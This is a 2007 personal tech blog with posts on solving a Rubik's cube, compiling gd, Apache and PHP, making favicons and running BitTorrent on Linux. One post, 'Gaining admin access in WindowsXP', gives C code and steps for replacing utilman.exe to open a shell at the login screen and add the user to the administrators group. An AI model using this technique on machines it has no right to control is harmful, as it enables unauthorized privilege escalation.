Wednesday, December 26, 2007

How to solve 3x3x3 rubik's cube

Reference:
F = Turn front side of cube clockwise
U = Turn top side of cube clockwise
R = Turn right side of cube clockwise
L = Turn left side of cube clockwise
i = Turn the side of cube anticlockwise

1. Solve the front face centres and align the cross with side centres
2. Solve the side angles to match face colors and side centre colors
3. Once front side is solved, turn the solved side downwards and try to solve the second line of the cube.
To move the centre top side to the right of second line use this algorithm: U,R,Ui,Ri,Ui,Fi,U,F
To move the centre top side to the left of second line use this algorithm: Ui,L,U,Li,U,F,Ui,Fi
4. Once second line is solved, next step is to get the top side to form a cross. Use this algorithm over and over until it form a cross:
F,R,U,Ri,Ui,F
5. Now to align the top side cross color with the second line centres, at least there will be 2 sides which top side is correctly aligned with the second line.
If the correct side are opposite to each other use this algorithm:
U,R,U,Ri,U,R,U,U,Ri
If the correct sides are next to each other, hold the correct side one opposite and the other on the left hand side. Use the same algorithm as above.
6. Next step is to ensure that the top side corners are in place correctly at its place but not necessarily have the correct color on top side.
Find one corner which is correct and hold it so that it would be on the bottom right of the top face. Use this algorithm over and over to get them correct:
U,R,Ui,Li,U,R,Ui,L
If no corners are correct use the above algorithm to get one side corrected.
7. Once the corners of the top face is at the correct place, hold the uncorrected corner on the bottom right hand corner of the top side and use this algorithm to solve the uncorrected top corners:
Ri,Di,R,D
Turn the top side of the uncorrected corner and place it on the bottom right hand corner and do the same algorithm again. DO NOT FORGET THE 'D' when you do the algorithm above.

Friday, October 12, 2007

Installing gd with full support

Installing jpeg support:
wget http://www.ijg.org/files/jpegsrc.v6b.tar.gz
tar zxvf jpegsrc.v6b.tar.gz
cd jpeg-6b/
./configure --enable-shared --enable-static
make
make install

Installing freetype support:
wget http://voxel.dl.sourceforge.net/sourceforge/freetype/freetype-2.3.4.tar.gz
tar zxvf freetype-2.3.4.tar.gz
cd freetype-2.3.4
./configure
make
make install

Installing font config:
wget http://www.fontconfig.org/release/fontconfig-2.4.2.tar.gz
tar zxvf fontconfig-2.4.2.tar.gz
cd fontconfig-2.4.2
./configure --sysconfdir=/etc --prefix=/usr --mandir=/usr/share/man
make
make install

Installing png support:
wget http://easynews.dl.sourceforge.net/sourceforge/libpng/libpng-1.2.8-config.tar.gz
tar zxvf libpng-1.2.8-config.tar.gz
cd libpng-1.2.8-config
./configure
make
make install

Installing gd:
wget http://www.libgd.org/releases/gd-2.0.35.tar.gz
tar zxvf gd-2.0.35.tar.gz
cd gd-2.0.35
./configure \
--with-png=../libpng-1.2.8-config \
--with-jpeg=../jpeg-6b \
--with-freetype=../freetype-2.3.4
make
make install

Tuesday, October 2, 2007

Installing apache and php with mysql in linux

Installing apache:
wget http://apache.leakage.org/httpd/httpd-2.2.6.tar.gz
tar zxvf httpd-2.2.6.tar.gz
cd httpd-2.2.6
./configure --prefix=PREFIX
make
make install

Installing php:
wget http://au3.php.net/get/php-5.2.4.tar.gz/from/us.php.net/mirror
tar zxvf php-5.2.4.tar.gz
cd php-5.2.4
./configure --with-mysql \
--with-apxs2=/PREFIX/httpd/bin/apxs \
--enable-ftp \
--enable-fastcgi \
--enable-calendar \
--with-jpeg-dir=/usr \
--enable-ftp \
--with-gd \
--with-freetype-dir=../freetype-2.3.4 --with-png-dir=../libpng-1.2.8-config \
--with-openssl
make
make install
cp php.ini-dist /usr/local/lib/php.ini

edit httpd.conf and add this line:
LoadModule php5_module libexec/libphp5.so
AddType application/x-httpd-php .php .phtml

Run apache by typing:
PREFIX/bin/apachectl start

test php by making a php file eg. phpinfo.php and save in your web folder
type this code in the file:
<?phpinfo();?>

Monday, October 1, 2007

Making favourite icon for Internet Browsers

1. Get a picture of whatever u want it to be the icon.
2. Convert the file to .ico using image converter program.
3. Rename this file to favicon.ico
4. Save this file at the root of your website eg. the place where your index.html is.
The icon will be shown next to the url the website once you save it as your favourite.
example

Gaining admin access in WindowsXP

From DidierStevens site: http://blog.didierstevens.com/
A very nice program to gain admin rights in Windows.
You can compile the following example with Borland’s free C++ 5.5 compiler.
Download from http://www.borland.com/downloads/download_cbuilder.html

Code snippet:
----------------------

#include <stdio.h>
#include <windows.h>
#include <tchar.h>
void _tmain(void)
{
STARTUPINFO s;
PROCESS_INFORMATION p;
LPTSTR szCmdline = _tcsdup(TEXT("CMD"));
LPTSTR szDesktop = _tcsdup(TEXT("WinSta0\\\\Winlogon"));

ZeroMemory(&s, sizeof(s));
s.cb = sizeof(s);
s.lpDesktop = szDesktop;
ZeroMemory(&p, sizeof(p));

CreateProcess(NULL, szCmdline, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &s, &p);

CloseHandle(p.hProcess);
CloseHandle(p.hThread);
}
-------------------------
1. Compile this simple C program, name it utilman.exe and put it in the system32 directory.
2. Press the magic key sequence (Windows Logo key & U key) immediately after copying. A command shell will open on the Winlogon desktop.
3. Press ctrl-alt-del to see the shell.
4. Type in shell: net localgroup administrators yourname /add
You will see "Command completed successfully" and gain administrator rights for your pc.

Sunday, September 30, 2007

Bittorent with Linux

Requirement:
Python - /usr/bin/python
BitTorrent - see below

To install:
wget http://download.bittorrent.com/dl/BitTorrent-4.0.1-1.noarch.rpm
rpm -ivh BitTorrent-4.0.1-1.noarch.rpm
If you get the following error:
"running BitTorrent apps: ImportError: No module named BitTorrent.download",
just set the path to python:
export PYTHONPATH=/usr/lib/python2.3/site-packages

To download torrent file:
download .torrent file eg. myfile.torrent
1. nohup btdownloadheadless.py --responsefile myfile.torrent > log&
or
2. screen -S mydownload
btdownloadcurses.py --responsefile myfile.torrent
press ctrl-A then D to leave screen
to return to screen type: screen -x mydownload
 ----------------------------------------------------------------------------
file: Myfile Season 1
size: 7,881,329,711 (7 GiB)
dest: /home/user/Myfile Season 1
progress: ###########################_____________________________________
status: finishing in 51:38:44 (43.7%)
dl speed: 20.1 KB/s
ul speed: 19.6 KB/s
sharing: 0.855 (51.8 MB up / 60.5 MB down)
seeds: 0 seen now, plus 1 distributed copies (2:99.6%, 3:96.0%, 4:80.4%
peers: 10 seen now
----------------------------------------------------------------------------